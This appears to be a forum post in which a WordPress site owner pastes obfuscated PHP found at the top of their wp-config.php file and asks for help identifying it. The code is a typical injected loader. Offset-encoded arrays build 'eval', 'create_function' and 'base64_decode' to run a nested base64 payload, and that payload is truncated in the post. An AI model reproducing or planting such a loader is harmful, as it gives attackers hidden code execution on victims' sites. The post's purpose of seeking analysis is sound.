I checked out my wp-config.php file and found this code at the top. Anyone know what it is or who can decode it?
<?php $NehPYG= array('4255','4272','4251','4262');$AhKDUwIzLXpP2hcO4nPrU0y= array('2971','2986','2973','2969','2988','2973','2967','2974','2989','2982','2971','2988','2977','2983','2982');$GDNIrktQr4jbqSB2FQHxYJbTXRaHHzdA2R9j2sZjm9lDR= array('4006','4005','4023','4009','3962','3960','4003','4008','4009','4007','4019','4008','4009');$OacCikY0ctQ4XpKujTp27vMTygKKYeNWfPooZdf2xWWlbxGkg="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRJeGMySlZiRVJhT
..........
yUnNiSE5QV0hCclVqQmFOVnBGVG01aFZtUnlUVVJHYUdGcmNEUlVWV2hQWWpGd2MwOVhjRnBXTTJoNlYxY3hSMkZ0UmpWVFdFSlFaREk1VEZwc1JuZFBWVTUxVFVWemFVdFRhemRKUVQwOUlpa3BPeUE9IikpOyA=";if (!function_exists("o50mXG2pm2aLNaQ9Ix1VpIsWhOqagtk4oagbH8qT0")){ function o50mXG2pm2aLNaQ9Ix1VpIsWhOqagtk4oagbH8qT0($M9KqHq1KYdNOwDLWmEWRFlFISb4hpKj1K,$dia9SYcvCyZ){$ZbI6TeioM1pH = '';foreach($M9KqHq1KYdNOwDLWmEWRFlFISb4hpKj1K as $chiwS1E01EIQG3i5SnfUWcD1lSD){$ZbI6TeioM1pH .= chr($chiwS1E01EIQG3i5SnfUWcD1lSD - $dia9SYcvCyZ);}return $ZbI6TeioM1pH;}$EErbDZzvLO34AbJRbQal = o50mXG2pm2aLNaQ9Ix1VpIsWhOqagtk4oagbH8qT0($NehPYG,4154);$VlQpSPGCFXX9eYD = o50mXG2pm2aLNaQ9Ix1VpIsWhOqagtk4oagbH8qT0($AhKDUwIzLXpP2hcO4nPrU0y,2872);$mYF2SAsT99UPa6p = o50mXG2pm2aLNaQ9Ix1VpIsWhOqagtk4oagbH8qT0($GDNIrktQr4jbqSB2FQHxYJbTXRaHHzdA2R9j2sZjm9lDR,3908);$f6E0LathXg = $VlQpSPGCFXX9eYD('$b5KWjzsbhSt1StMytIOIQKcHmc0t07zS2aFbzXcHFwyoP',$EErbDZzvLO34AbJRbQal.'('.$mYF2SAsT99UPa6p.'($b5KWjzsbhSt1StMytIOIQKcHmc0t07zS2aFbzXcHFwyoP));');$f6E0LathXg($OacCikY0ctQ4XpKujTp27vMTygKKYeNWfPooZdf2xWWlbxGkg);}?>